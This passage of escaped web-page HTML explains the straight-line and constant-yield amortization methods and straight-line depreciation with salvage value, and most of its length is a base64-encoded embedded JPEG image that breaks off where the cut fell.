constant-yield method will give you a smaller amortization amount than the straight-line method in early years, with the constant-yield amortization figure growing in later years. That puts it at a overall disadvantage to the straight-line method from the taxpayer&#8217;s standpoint, which might be one reason why tax laws were changed to have newer bonds use the less favorable method. Learn accounting fundamentals and how to read financial statements with CFI\u2019s free online accounting classes.<\/p>\n<p>The equipment has an expected life of 10 years and a salvage value of $500. To calculate straight line basis, take the purchase price of an asset and then subtract the salvage value, its estimated sell on value when it is no longer expected to be needed. Then divide the resulting figure by the total number of years the asset is expected to be useful, referred to as the useful life in accounting jargon.<\/p>\n<p><img decoding=\"async\" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src=\"data:image\/jpeg;base64,\/9j\/4AAQSkZJRgABAQAAAQABAAD\/2wBDAAMCAgICAgMCAgIDAwMDBAYEBAQEBAgGBgUGCQgKCgkICQkKDA8MCgsOCwkJDRENDg8QEBEQCgwSExIQEw8QEBD\/2wBDAQMDAwQDBAgEBAgQCwkLEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBD\/wAARCAFSAV4DASIAAhEBAxEB\/8QAHQABAQEBAAMBAQEAAAAAAAAAAAYHBQMECAkCAf\/EAF8QAAAFAgMBCAwJBgwEAwgDAAECAwQFAAYHERIhCBMUFhcxV5YVGCJBVVaUldLT1NU2UVRYYXaSk7UjMjVSkZckJTM0N0JydYGztMQJQ3HRc3SlJjhEU2Kio7JjwsP\/xAAcAQEAAwADAQEAAAAAAAAAAAAAAQIDBAUGBwj\/xABHEQABAwIBBwcICAUEAQUAAAABAAIRAyExBAUGEkFRYSJxkaGxwfAHEzJSgZLR0hQWF0JTYqLhFSMzVHJDgpPxJDVVY3PT\/9oADAMBAAIRAxEAPwD9A4LBuy5SDjpNw0AqrtoiucCNmwFAxiAYQDNIRyzGve5DbG+Tm8nbeqqqtAxeKcJ3Qfo5t3\/\/AOItdfUX9YP21bWKrAWayeEGGkLHOpiZcIMGDJI7hy6dEaJIoJFDMxznMkBSlAAERERyAArkR1n4ETCcatEXfBPk5ldZrGmbOo9UHqyQGFVNESkHfDkAh9RS5iXSbPLIau8TLbd3ph3ctoxq6CTuZinTFA6ypkyFUUTMUomOQBMUMx2iUBEOcArL4nCjEmGPbjhoytw4M70dXQ9bubjeODtklWZ228pulWplXZxFZVbWqCenIqQZkApi11360Dxcd0n2cQrarYnxge+B7VTQ2FmFFxt1XlvSTKUQQXO2VVZCzXIRYg5HTMJExADFHnKO0O\/Xv8htjfJzeTtvVV\/eE1t3jbQXOa8GMG1NMzq8u2LGSSrsCkVKUBIcVG6OQl0BtABzzHmy232ov6wftq5cYF9g6YEj2GyqAJPOeibdIus+5DbG+Tm8nbeqpyG2N8nN5O29VWg6i\/rB+2uVdUAhdluSNuLS8pGFkEDI8Ninp2jxuI8yiSpBzIco5CHOA5ZCAgIgMaxTVCi5DBvD6MZLyDpA4JIEE5smzYRHLvAG9bRHmAPjqJSs+0zPjNV041FU4AZNnvLYyxAy\/rDoDV3+YoB\/15x1BCxiw2HaFmMZqWllWKSQley0go7du1kzlU1KrKmERE5i7eYpdWRQKUAAJJNlBu3J3pmWT9I5d8E46VEjgAZAYvOA5ZVdhlVcAuVye2z4PQ8kQ9XTk9tnweh5Ih6uqTMPjCmYfGFXVVN8nts+D0PJEPV05PbZ8HoeSIerqkzD4wpmHxhRFnLRPDWQvB1Y8c34XJMEQVemQjUjoNRH81NVUEtJDmABECiOYgA17yVmwK1xvogWLYqLVi1ckErNvqEyqi5TZiKfNkkXLZ3x5+9PQmFl7EuhS8Xt4N4lSSmVJOWi2JVVUnaW9lRSQFcDpG7hNFAwG0fn77mBiHEtXjMxeO8ttD9FR3+c8r5X5Zc75fmTRGtlmbqrqVUOYA5pgwXAHpC5+bqbKuUBrxIv2Lky9p2Jb8crLzzyPjWKGnfXTtNoiinqMBS6jmTAAzMIAGY84gFelHRuFcusm3ibignqqrLskmRudioY7TWJOEABSCIpaiiXX+bmAhnmFf5duG0vcAPzML3fx53jtoukdNZQ4tN6dorCdJNc6rfWAJCBc0RLmIZhlmAyEzudACSRd21MIJ742Tj5F0\/zUdPmrlw8VlgOJAKUDuBdlVDSBSFVSLkUpCgWvyhknlCz7VozWz1Wa8neYFhj7TFjsNht9CcioD\/TCoG8hgW7dIMGl\/Wm4dOm4O26CTyOOqsgJAOChCAURMUSCBswAQyEB5hr+HMjgqyfljJC6IZm4GMNMKEdEaICg0ACCKiutMN6DJQo5HyHIDDlkUcvHN4VzK1oLRDKQag4JZkzbye9iIZrut6FMxcw2FDehAf+oVOXthZfd7urhTt1pG27HXBHEWcuDSThM8oqdlvBWzlqBTFQVSOmiYXaY74JE0kwKIAbLl5Np7nqu8a2d6zW3kmoLQQAbgTIMgAE2uQJcMqmSUmN5NME83NO3nHWqo73BIoQ5i3nbahJ9ydnGKJrMDkdLFMJDETMBMjCBwBPZ\/XMUn5xgAfOZPCg0ItcTCZjZNgg7SYHVjUWrvJyooRMiOSSZu7EyqYaefugEdlSSOFeI0atF9hk2Ee8cyyz1zKIXG7XUim5nKayiBt9TAZQqoFULkuBN7FQdI5FKIdu28Pr3TuJu5uRZmgwXmlLgepMpBV4mdZFog3bomUcFKqJDKa3AFABBMW6ZAMIZZ1q6eZ9Y3XbnetaTHnBJAJtABgkCAZ9ITGq5hdP0SjcCmOjr8bMV03IYNs480s8vG2kGJXRmJnKjiPKkDkoZmRE4ly3wA2iXPP6K807H4XWw\/i4u4ZqKjnc0vwZgi5KzTO4U7wFAyYZ5iJSh8ZjkLzmKAyMjh3itI27dFtuIazVI+7Z1Z3JtBnnRd\/jVUCpqtQVBnmmY+9lKYwEN3BzgUSG0nDp3FbuKFyyMFIMoWOgHyT1RFWTbTShFI9gk7KcpDNylMk9BdFPToPpBMTiICUfzajTnSMObOd6sHWn+a23JBad9jMwDIADZcQ1PolG\/wDLG2LcfhdedzM4Etree3UW+LacRUeYCOHLVZguQiglExU+4IOZzAAiBece8FdCXQwkgUHjiXuOFbFj2BZRyUwMxUTaGESkW0AmJhIYwCUogHdG2BmOystgsAcQbVj03BY6BlnjZGHj2qAXE9SWQM2K8SPIJPxSBVuOh7\/NClOkBCLFKIisarS2cBXDW5XUtfs9G3ehLwoMZg7uNKmq\/eAsmcqxigIkKUgJEAgFy0aCZbQ1Dycq07ztk5Jbnqs5o3PBLvRJAABAi93EAkgNBhxAZLS1o80P2mOzsOyJokWOFC5TGRuSCOBGPZQ2R2Pcs9n8IHuNiW0O7Hudoba96HtSw7hjkpeAex0mwX1b06ZptFkVNJhKbSciYlHIwCA5DsEBCuPJ2hekVd6Mnh\/A2gyi4u2ncPGJrvVkSkXUFJRLU3Sb6SpFOiUogVTMSmEQyENI+KzbTxAZRKlpvnJbWRIHZFWXhn6D5w9kF3Sqzn+ctQIUphHUYN4LlvoAmbIuzrKmn2k5oedpZ2qA2xqCwMzIEmRyTABIkyLSpbklEGHUx0cB3zijiQwQZPJFg+vW22q0Qqmg+BwswSBBVQTgVMwmIAAcRTOGnnzKId6v6O7wVTkXMUreNukctGJZNcplWIAm1NpEFTCJMgJkdMc+bJQg8xgzj5XCjE2XuJ69ZIR0ZDxs8L9pEhcjxJKVMYyihnpVk0zKRph385TIpainNrMOnYJurKWLik8n51WFjoiMYvYlRBZNS43K7aXdLoJpZnTOgYUDN97MO\/kLqX7kDFLmIk7E6c59kAZ4q3bJ\/mtseTY8TJsJAkBxGq8tDJKBfHmxE7jvM9H\/AFIgmhfBhBGrcFdXNCA6FgaUI0T4Go5VaAQx9+TRKmKihdJDiAlKOekcs6srewttGWdgmqgQyRkhUKJGrbbzZf8AK+msiJhffMWyj3cilDrNodFKVct2K6rly4dtopVgVqiBkkwFNQopqaxEDAbWnoEDb4G8YSRziEiYeFeuN+cMIlBqsoI5ic5EyFMb\/EQEa73RHTTP2UaS5uyZ2c6lVj6jQ9pfIOMjmFt8yIXHrZNTFAuNMAwTzG1vHNsXschtjfJzeTtvVU5DbG+Tm8nbeqrQdRf1g\/bTUX9YP21+0tYrz2qFn3IbY3yc3k7b1VOQ2xvk5vJ23qq0HUX9YP201F\/WD9tNYpqhZ9yG2N8nN5O29VTkNsb5Obydt6qtB1F\/WD9tNRf1g\/bTWKaoWfchtjfJzeTtvVU5DbG+Tm8nbeqrQdRf1g\/bTUX9YP201imqFn3IbY3yc3k7b1VOQ2xvk5vJ23qq0HUX9YP201F\/WD9tNYpqhZ9yG2N8nN5O29VTkNsb5Obydt6qtB1F\/WD9tNRf1g\/bTWKaoWCxdtToxjQUb0dpp7wnpIDFqOkNIZBmKeY5V7PFq4vHl35A09XXZiP0Sy\/8un\/+oVzbikZJMgsotk6Mcwd2sRIwgUPiKOXP9NbyVmvVThJkFUtd7PVk1FDJjvbNoUQECmHn3oe+XKvd4vP\/ABtlfuGfqK\/mBRWQjI9NwkdNQF1BEpyiA\/mn7w13KiUXF4vP\/G2V+4Z+opxef+Nsr9wz9RXapSVK4vF5\/wCNsr9wz9RXqSzVCAjV5icv94wYtS613LkrFNJMueWZjGQAADMQ56paisTbauu7koiGt15HM2pHnDJBaQZi8bqESL+TROgVVIxwMoYp9hwAN62555DDi4Dk4qWxN12i2+9MUDFu+UEBDMBBFlkIfcV\/vF5\/42yv3DP1Feth2yuSLsyMh7tFI8nGpmYqLp5aXJEjCRNcA1G074mUhxKIiJRMIDzVR1Y42VRMXXF4vP8AxtlfuGfqKcXn\/jbK\/cM\/UV2qVEqVxeLz\/wAbZX7hn6iuKg1nVgVEbpfgBF1kg\/gzTmIoYof8nnyAKtK5cU01tlT5c7t1\/nnr595Qs6ZbmvJaL8jqFhLiDG6F3eZKVCq9\/nmgiBiuJwCc8apDyZp6mv5NGzJhzNc74R+lq09RVTwH6KcB+ivk7tK89vEOylx6PgvQjJMgH+mFGyJHEQwcSkrea7Nm1TMquuugyImkQAzExjCjkAAHfGv5jhVl0DOYu9FnaRDikYyKDIwFOHOUckdghmGz6a9jFq1JW6MMrot2Cbb\/ACEjFOGzVLWUmtQxBAoajCBQ298Ryrw4a27cMelNu55o7bhJyXC0E3xm5nmneEkzCsLYRRzEyY6QII5EAue3MA5Dc\/5zOSmscqOsDEW\/Lsidp6FmaGSCoGikI39P7L2Oxcv4zPfJWfqKdi5fxme+Ss\/UVVcB+inAforh\/WbPH456vgtfouQ\/hhRkm1mmUa7eJ3I8E6CCipQM0aZCJSiIZ\/kforv8WXXjTJ+TsvUV5LiZ6bfkxy5maw\/\/AGDXYr6b5OsvynOgyn6a7X1dSJi0607OAXQ57pUaQpmg2JmY9i4fFl140yfk7L1FOLLrxpk\/J2XqK7lK+l+YpeqOhdDJUi\/LERTwkdJYiKtXShSnKiqDApxKY2kpshQzyE2wB5hHZXS4suvGmT8nZeorjHZXFAX9JzLG2jSzS4EWSPCUXKSZmQoicpgWBQwGFLJTWXewObUKgCUMwE1rTzFL1R0KNYrh8WXXjTJ+TsvUU4suvGmT8nZeoruUp5il6o6FMlTrW3niyZjnuiSAQUUJsbMuYpxAP+R8QV5uLLrxpk\/J2XqK6jD+QN\/463+YavYp5il6o6Ekrh8WXXjTJ+TsvUVypZeEt5wVvNYlKRyx0jLgVxwBMd6KIAY+1AMigIgAjzAIhVjWc3tD3Oa\/EJmHtIZpo6tx5DH1uUEkEllVkjFFfWbXvWkhtQpkUNlzFHmqPNMYQWtE37CR0mApF8Tu7R3XVWFvvTABi3dKCA7QEEGXqK\/3i8\/8bZX7hn6ivZtyKPBW9FwirkXB49kg1MsPOoKZAKJtvx5Z10a3NjYqguLri8Xn\/jbK\/cM\/UV40oKQOZUBu2U7g+kMkGfNkA\/8AyPprvV4W\/wDKOP8Axf8A+paiVK5fF5\/42yv3DP1FOLz\/AMbZX7hn6iu1SkopZJNovJrQyGILxR83NoWbkIyE6ZtAHyMAIbB0mKbIe8ID369\/i8\/8bZX7hn6ip23o+5YrEa5VXEXNDFTD4jtBwmoxFjkDFukInATcKA+tExcgLp\/NH4xq8qVC4vF5\/wCNsr9wz9RXhXhJFJVuQt2SmSqgkNmgz5tBjbPyHxlCqCvWd\/zhl\/44\/wCUeolSudxef+Nsr9wz9RTi8\/8AG2V+4Z+ortUpKL1yR7ZMhU0xWKUoABSgucAAA7wba40BPxNxv5qPZN5ZFSDeAyXF0CqIKHFMimpMDDqMTI4ABhAAHIRDMuQj1+y0X4Sa\/fF\/71PQDMIm4J+Yd3JFuEZpwmuVJMm9mREiJEgATCoYDbE8+YNo1UzIhSIhWMJFMnUw0RcFVUIJjjkZc4\/8s301ZcVoP5Gb75T0qgG16Wdbb5rKXFdkNFsiHMQzl6\/SQSAwkMAAJzmAMx722u3y84G9M1i9YmfrKo83Vm4Kk4rQfyM33ynpU4rQfyM33ynpVN8vOBvTNYvWJn6ynLzgb0zWL1iZ+sqslTAVJxWg\/kZvvlPSpxWg\/kZvvlPSqb5ecDemaxesTP1lOXnA3pmsXrEz9ZSSkBUnFaD+Rm++U9KnFaD+Rm++U9Kpvl5wN6ZrF6xM\/WU5ecDemaxesTP1lJKQFScVoP5Gb75T0qcVoP5Gb75T0qm+XnA3pmsXrEz9ZTl5wN6ZrF6xM\/WUkpAVJxWg\/kZvvlPSrwlsu3CZgmzWIBjGMIEdrFDMRzEcgP3xERrg8vOBvTNYvWJn6ynLzgb0zWL1iZ+srCvk1HKgBXYHAbwD2q7Hup+gY5l3+J0B8nc+Wr+nTidAfJ3Plq\/p1wOXnA3pmsXrEz9ZTl5wN6ZrF6xM\/WVxv4VkH4DPdb8Fp9Ireuekrv8AE6A+TufLV\/TpxOgPk7ny1f064HLzgb0zWL1iZ+spy84G9M1i9YmfrKfwrIPwGe634J9Ireuekrv8ToD5O58tX9OnE6A+TufLV\/TrgcvOBvTNYvWJn6ynLzgb0zWL1iZ+sp\/Csg\/AZ7rfgn0it656Su6rZNtrJnRWZrqJqFEpyGeLCBgHYICAn2hXn4rQfyM33ynpVN8vOBvTNYvWJn6yrquRQyWhks+YYGzjAAnoVH1H1PTJPOuTxWg\/kZvvlPSpxWg\/kZvvlPSrrUrkSVnAXJ4rQfyM33ynpU4rQfyM33ynpV1qUkpAXJ4rQfyM33ynpU4rQfyM33ynpV1qUkpAXILakAQMiMRKGYjkCygbRHMf63x1\/vFaD+Rm++U9KutSklIC5PFaD+Rm++U9KnFaD+Rm++U9KutSklIC5PFaD+Rm++U9KnFaD+Rm++U9KutSklIC5PFaD+Rm++U9KgWrAhmIMRDMcxyWU2j9qutSklIC5PFaD+Rm++U9KnFaD+Rm++U9KutSklIC5PFaD+Rm++U9KnFaD+Rm++U9KutSklIC5PFaD+Rm++U9Kv8ABtSAMJRMxERKOZRFZTYOWWYd18QjXXpSSkBcnitB\/IzffKelTitB\/IzffKelXWpSSkBZjU5CXPJv7olLXkoZu3PGs2rsXDV4K6ZhWOqAJm1JkEpwBIDZbdhw5tmfb4eh+o58mU9GpOybPRsleQWTuy5Jcskud0unIMm+1cwhmqJ0WyahjaSlKGsxgApSlAAAoZbjFZnBaNbn6cZ\/2j\/5Zqkba3S8RICivcMYyatXMcxeJjEP1JVdFd27K1RaropoFMkodQ5AJlqA2lXPSCYiPZZXLHQsg1fPG0qomU5iiVpEunSmYkNzJopmOIfTlkHfr0iOMNU7QhbKIwvwrGCdR7xucLPlQVOozXTXS1jwPIQE6RQNkAZgI5Zc9YuH8wTht8cMVYE6hjHZ46l0HGP1oxHZcLgSeJminEgUycexdvVCN2aDdZdRYpUA3sxCuU8yhrAcwApjGESh78vjHbjZq8cQwKPisHrRis6VQcJsiqLKtyiTfyJKAJwK5IIABchN3ImLkYSxbmFwpdPJ58o3xFBS4iSqbsAtKUyKEgi1SX0fwLZkVmlpzzyETZ6swAPU4t4dlWfIJTeK6cK\/Vau1IQlpPuBleIKNzg5KPY\/ftZuCkAxRVFLujmAhTDqDEl5JAH3RH+UcqeE4c+5aNAETvM\/4zyY4xj8VQXluhIBla0rIWeZRaUZ8J4IWRjnCTdyLR8i0d6DGAmsE1FilzKbIRHMuoAGq228XLBu26XlmwM4VzKMyOVDJAmYCnK3X4OuJDZZDoVECj\/aKIZgIDWJwOHlijHSLe85fEmSO7cSotG6VpSQNoxF7J8NUBvmwBTUpvbfXvplAKJDAnoAxtV7Zj6zLHlJN3GSGJThg\/XXcNolxZshwSOOusZZfeRTYEVMB1Dib8soro\/NT0FESjoRD+EHpvEdSo0ktl2Nv3WwUqO5VrX8F3j1MmPZacq1r+C7x6mTHstFZWNKjuVa1\/Bd49TJj2WnKta\/gu8epkx7LRFY1KYZ\/Bx59YJ78VdV4eVa1\/Bd49TJj2WpfDjFG2kbfdkPGXcIjPTh+4tCWMGRpRyIbQbCGeQ7Q5wHMByEBCiL3HOJsqGNyOHKnYuIYotQOQsm4Mi4nDKpicDsO4Eiu8b0oVQgH193qMBClIKnPe423JG3XM2U8sJmaSj1IJBqu3mDnZLrySyxBROsZuUyaiKaG\/GKBDiJFUubWFehOntu5b5Z3RN3HiY5hI9ZvINrZGyX4MiSKOe9ut84DwjMO5EEwVBPUXUJRzEKnoGzLQg4GVgVMRsaZEJKRJMpPHVlnK6ZSJVgVB2RVKIIKqmZSlEHG\/EEhQIJdPc0baCd\/VI6yJ4YbyAdJkDcI54PVMccYwBPVlt03IxrO9FkMP0HK+HUTITFxohM6dKTZdchSNR3j8sdRNqqoAHBICjoKI7RMFdfuLkha6jwIC1kJhOMtdxdT0y8iLUwN0\/5NJMASU1nPpV5xKUugMx7rZnUhh3hLJMeAOZLFfTINXDG5TktSQKa52y6x1lkn2UfkAHOqrtbAgYpVTkIJSZFD3Jy37TukhjT914pJquAfMnxYyzZFui9iHC2vsaomqyVEqRSAUgKJmIsGagkUIBxKEkiABuvzweqSDsMA42ltJ49VuuARukjC6\/uY3WbKGtcMQlbLMtajmUmodi5TkQ4Ws4jmrtYwnQFPQQihmDghRBUwh+TES5GHRqlo3fNzE\/NWvcsAzjJCIQZOy8DkDO0lm7kqgFNqMkkYpgUQWKJdIhkUps+6EpcjdYf4KSD18SRZ4kOoF0d+4b24a1JQkcwdvUVEXblvoZFXKooRZcMjKmIQVlBTIQRzCssSVtGyOyDtzJ4mXLLSp0heSszZ8iLhQiRdKSQFbsEkSEIAmyAiZcxOcxtRjGMJ0EnVw8dfQI2ApsG+893V17wqbG\/+ha\/\/AKryv+kUq2rHMZ8T7bc4PX02TjLtA6ttSZCipaEsmUBFqoAZmM2ApQ+MREADv1sdQiUpSiJSlKIlKUoiUpSiJSlKIlKUoiUpSiJSlKIlKUoiUpSiJSlKIsxqFtWYuRG\/5e1rgknLhLgCUg0B02RSERFZQiooCjmG8AG85FVMZYBN3QiAgNWInkRDIWjbyg3oVzIi246BOKkLbMSyMKRENSBtAgkXPSmGSewgZjkUNgZ81cgYysjhCrrc\/TjP+0f\/ACzVh2HW6FxBj4KVlLmdOp92FuQcu0j5dsRuss8fuF0wK07FtV1VWolS7koN1XBTEMBgEDdzrbJzdSMg1PBQ0U8d6zaUncmo2TENBsxE5UFBAfo07fjCv4c2bcjtq1YuMFMNjoMW5GjUnGFcAQRIcpyJk\/i3uSlMUpgAOYQ2Vx6gd5wEG21asI1SCs\/it1hdD5J7eS+HrMlnt7IjLjBJNy7PLg\/dunLYGoIA2HfCb6gBeYqhQ7rQYxt6Jex+OMibCIuI1wWE+iJVWSRhW8Q6K7alWeOHpGjUQO7aoLkQOoskIqHbFMUomECG0gBvGTD2VSYFiUsB8LyMSxww4NSTixUeAiYTC20BGad6zMYdGWQCYRANtdMYS+TQa1tKYS4fqRTgRFVopczkyag6gNmYBjdo5gA5jtzAPiCpOHjf8LfHbA9KThbsA7bqNh8VMUrsxntiy17aioRnHozZLmQbz51wF214AZMUDCzDhCO9P0TBqFAwiqoBgKKIAp4pXHy+LcfXk0ZWm0uZSFk5pdJNaSCOK3jY9pHrKEAxUVBUUNws+gBAAE2QGMUo6i2kRb95wCqDiEwfw7Yqtgcgkohcbghy8IOQ7gdQRueah00zHHnMJCiOeQUUt68lVXi6mD2HRlJAHJXZxuJcRXBwRMi4HHsb3W+FRSKbPnBMoDzBVXl2oQz0tWOEy0zzQCN8HFSAC8F2E9UEdMkHdIUC\/wB01ekG6vd1I4fx7+NjbgjYK1k49eQXePFHUcg8DhSLdmuoQpSKnMJ0CKiGWjex076b25HdSykVFSE3IYUyDRrDwcPIyCLlZyR8R5JqnQatE2YNRXPkunkcxiEOUhimKkc+aQVLqy7jei5M7wTw3VF4dsquJrhX\/KKNwKCBx\/i389MCEApucoFKADsCvMe1brUZvY9XBjDc7aRaosniRrhXErhBETCkmcBje6KQTnEoDzCYRDnrQlsERfZ4349XtpD9YGbbf28ftwIPdCXVLO7SZvsKl4HjCVyRy4nFpCOQSckXMgig3MuwIZQ6pgKcpXJWqhk1CmTIqYDJlssC7zvPELCq3r1vyEhoqWmGZHR28S8VcN9BigJTAKqZDEEe+TutPNrNz1yE7QuhJdo5Jgzh0CrA5VW5+MjgRTOVQyhTfo3aYFDnOAjtAxhENoiNdOEa4j21HlirfwxsSPZEMY5G7e6HJEyCYcxyKEdkG3vBUAiCFMGVoNSmGfwcefWCe\/FXVeDsrjD4iWb1sde7ql8OZPFstvuwQsi0Dl7PTgiJ7pclHV2Uc6gyCPHYA5gA98AAcgzyCqstapUb2Vxh8RLN62Ovd1OyuMPiJZvWx17uoigcWcQ73tHEiMatHdwtoxRxBN2LZnbh3cbJGdyAt3pXj0ETg1MmkZIyQCqhmYQ\/ltWgJa3sc8QbcvhCw8TuGkVCRB08cotmyxkkDos0+DF3gBTBAjp4BhOJhcEQM31lMKoqE1OQir\/lpRnNSmFVhO3secFGiy9zuTmQOGrI5M47Ipg1GyMG0Mx216ju1bqfHaqPcGMOFzsnp5FuZS4VzCk6OoCh1SiMbsOKhSnEe+YpR5wDI0lo8cPHVtKmxdJw\/wC1qNKjeyuMPiJZvWx17up2Vxh8RLN62Ovd1FC8eN\/9C1\/\/AFXlf9IpVtWOYzyeLRsHr6K7sm0U0BtqTBQ6d0OTnKTgqmYlKMeAGEA5gEQz+MOetjoiUpSiJSlKIlKUoiUpSiJSlKIlKUoiUpSiJSlKIlKUoiUpSiJSlKIsxEcgEQARy7wd+sjwum73fYoXUhd8LcMaLmLYPiM3z5qs1ZZuHZCkRKiucC6kyEzMAZmMkcTZdwA6lvcp8sa+TG9ZXOjLgYzbhw0hrrg367MdLhJqIKnRHMQyOBVREu0BDb8Q1yBYrE3bHMqmDRI4lm7dQTgVUFCGEhzEMACmYNhiiAlH6QEBDvVjyuIUthLBy04nOnBk5xBkoF7NXXcDpePhGKaSp0TqGcr72kUViJIgYTFATLFDMREoDpjZreC75qnb07DMngnMJVnsSq6SAug2YCmRykIj9OvZ8Q13Ow+OHSHY3U1570rjvafOa07I62meoj29OzTydXjPUR3g+xZ3DYwYpKzUWnOFtkiJ5qEhX7Rm0cGzO8iyuVlElzqFHSVY4aAMlnoAQMGY5l5kbulJ67IqJCz5K2XL9UbTj5c5UFF04+TkHS6Mg2OUqoaVUQTIG9GNqIYcj555Vq\/YfHDpDsbqa896U7D44dIdjdTXnvSoYCHS4yNad1rcnmxvx4KHiRDbcmN978rstw4rDbyxvvy4oPEy03Li3Y9eDbybB\/GJORTmWDMHiTdCQMkJhEiSzU6zgpzAUBAyegTaTCPVcYl4iW9KYgR9tzLDTFvLmkUAlWyz0qScfHxh0WyRSrJ72kJ3JxEA+McshERrUpa08X52LeQkvfFhumMg3UauUFLMeaVUjlEpyD\/GnMJREP8AGvZJCY3JkKmTEOx9JQAoZ2c8Ecg+kZTbVXhxY4MMEtieMgzHsiOJVuTrtJEgOmOEER148ApjFXFm8rIh7UuCHjo5dtdbcYhuiogqqonPOiJjG5iUwADYTgsRTPIczJZGDbnGON0vc0Y9vbjA6teMLaCr1F7GGNqk2CJXyLdm\/cImVICbRZE5nBllBTIVM5TgJykPnpcrZGLE44jXMre1iOFId4Egy1We9AEnAJqJgfIJXIwgVU+QGzABEBDaACHR7D44dIdjdTXnvStJuTz\/ALdF\/ZCqLAA7I9u\/pssotbH6\/wC9I48jAyVmcGStm4ZlF6omsoydqM5JVq1VBZNQdLY6ZCqHOQpxEBzJsEK92wcS08SLsw1vaNmEXK0mW4YZ3wEyajJ41RBM5l0lEFlkVkyLoolIqU4\/y5yiBDCcgaV2Hxw6Q7G6mvPelc9SycV1p5vc6t6WCeVaNFWKDo1mvBOkgqch1CF\/jTIAMZJIRy59BfiCqgQbHf2k9h1TwvwU8\/iwHaNbn6VpNSmGfwcefWCe\/FXVej2Hxw6Q7G6mvPelc+DszGW32SjBniPZZ01Xjt8Iq2c6Ed8cOFFzhskw2AdUwB38gDMRHaMotJpUN2Hxw6Q7G6mvPelOw+OHSHY3U1570oi7d+SUZD2XNysxINmLJqxWVXcuZNSNRRKBR7tR2nmdsQOcypQzIGZu9ULub7mPddmy0mScQmWfZ10Vk+ZTSsxHqoCVMwAzfqiJ3SRDGMmZQQLkqRYgFKUgAHf7D44dIdjdTXnvSnYfHDpDsbqa896UFiTwjrB7kNwBxnqVzSobsPjh0h2N1Nee9Kdh8cOkOxuprz3pRF\/eN\/8AQtf\/ANV5X\/SKVbVmV1WNjHd1sTFpyWJFmpNJpg4jnB0LOdFUKmsmZMwkE0mIAYAMOQiAhn3hrTaIlKUoiUpSiJSlKIlKUoiUpSiJSlKIlKUoiUpSiJSlKIlKUoiUpSiLMagbCYXDEzR45ujLI2wRgJyISpG4Kt3hljGFNIUgzOUCibUJhMGejSYe6q34Ej+uv5Qp\/wB65cRMQU8qsnFLyCxUBMUVhTckQOIGEo72qYATU2gP5hh5q3gawPOsp5MKttz9OM\/7R\/8ALNV5WfWw3TSnmhiGVERE4d0qYwfyZu8I1oNZvxV24JSlKorJSlKIlKUoiUpSiJSlKIlKUoiUpSiJSlKIlKUoiUpSiJSlKIlKUoiUpSiJSlKIlKUoiUpSiJSlKIlKUoiUpSiJSlKIsxrLsKMK5fD963TXNHN2MZGGikxZLqGPLBvpTJunRDEKVNUhSiUAAVP5U\/dgAAFaN2HiPBTP7gv\/AGqag3xpC55C2pSzoluaPaIOlHLVxwhPNUxwKkOpFMQPkmJhyzyAS\/GFbgcqdqzk6pGxaFbn6cZ\/2j\/5ZqvKzu1WDFrPtFGrJBE46yiZNMCiIaDbMwCvRg90PYsk9vVOXUUhWVlqlMs+d\/yLloLhZqLkmQZgQHTR2kID\/wDKA\/5py1m\/E83jx8CrNwWpUqDg8c8LLheKMI+6QTXQI4M5K9ZOGYNTIBqWSWFdMgIrEJ+UFFQSqb2IKadAgav8b454YOmQPUrgcAJnyUcRoeLdkeqOFUTLJFI1MkC5gUSIc5DAQSnKUwlEchqimRir2lZxBY6Wvc2H12YiQsHch2loLy7Z00cRSrdy5Vj1FU1QblOAAqBjIm05DziBTgQwGKHmhcZbbcQkTLT7hk37OHEY5SHdjMNHjYAIIvElm5MwbF30hTrKkTIQ35w6RIc8gEmObrw6UJgSePVj0LQaVltj7oewrst95LyLwId1HGccJZqEWOJipvDtSigfeyg6EyhSE0ogcSqKETHuxKA+K9t0jh1atrJ3BGSATDpyQp27AiS6Zy\/wkGxgcjvRhZiC2tLJcpBFVMyYBrAQCMPHjcUkRK1elQGIOMlt2VZkvdLIycq5jWcm6RYgoZEXIsFgRdE1iQwF0KiBBHIdo7AEK94+LuHachLxZ7jKDiEQWcuw4MtpMmicCLmRPo0uN6OYpFQSE4pnMUp9JhAKmJE8\/Vj2prCY5uvDsVjSlKhSlKUoiUpSiJSlKIlKUoiUpSiJSlKIlKUoiUpSiJSlKIlKUoiUpSiJSlKIlKUoiUpSiJSlKIsr4Wj+qt9yf\/tXIgIaOgFZV0kd0u6mX6kg6WURPqMYSlIQvNsKRIiZAD4iZ84iNd0dgZ1meGOJNwXjcDyNl040jcjQXKPB0DpZiCwk\/IqGUMV6jp0Dv6ZSEARAMtQiUnIB5UbVkcJWrW+oLmXQRbqqIqGKqBVBSHuB3s2Q90GQ5fFU0XctWg3h4+KY3JcBDNoTsG7XXfKOTPU9\/QX3wxVTGKmbfUBNkmBS5rKbNoZVtufpxn\/aP\/lmq8rF4GtPjb8VdtxCyi6NznaN4tZiNnZOSUZTspKSTxJIxSCPDos8cqmU2WZQBI4mKPPqy5w2V0obB5Nndba+Ju6HkrMtl2hwUFukikKLZk8apJAQobP5+4VMbMRE5sg0lAChotKgkmAdgA9gwUhoExtJPtOPYFG2nh2ey7enbeg7jdIElZWTl2zneEjLMlnrlRyoAagEigFVWOJdRfzcgHMQzGShNzwzty7JC\/4C7ncdcUy4frP3DZigDcCvCMiK7wgYBKmcOxyBwMffMzmVMcD6gAuv0oCQdbbh479+1SbgjfdYjce5QsS67eZ21Ov3L1mxbuEiJOUEVklTKS7eUKKqZiiVQgLNiEEghkZMxgHaOYfwfcp2q3ZOmNuTBbcQlI9vGSTeGh2bRso3QkFnyJEUCJgmgAKOVyGEAMc5D5mMKgb7W40pJtw75+JUAAAgbe6I7AsguDc7M7kJLsZG95XsZINJxogzTboADbsq7I6cn16dRzFUJkTMQACiICBh7qv9tLc3WlYVwXBdFknYQsvOGlFeyreBYDJFVfugcqio7OkZRYpFAEE0zCBAKORwUEpBJr1KgcnDj1xPYEgST4tMdpXFgLKs21HkpIWvaUNDuptxwuTXYMEm6j5fMR31cxCgKp8zG7o2Y90Px12qUopiEpSlESlKURKUpREpSlESlKURKUpREpSlESlKURKUpREpSlESlKURKUpREpSlESlKURKUpRFkgv3QhkMG9EB\/+tD1lTtuWfb1puheQVpyaJwRFsiVR\/v6bZATAYUkCKLmKgnmBe4TApe5KGWRS5V455Dpyzy2Z1k2GcpiClevFq8EpAV0oEHMuddwgs3M+4QJSLNgTOYySShd+ApDlIOlEO4AQMI7i7gO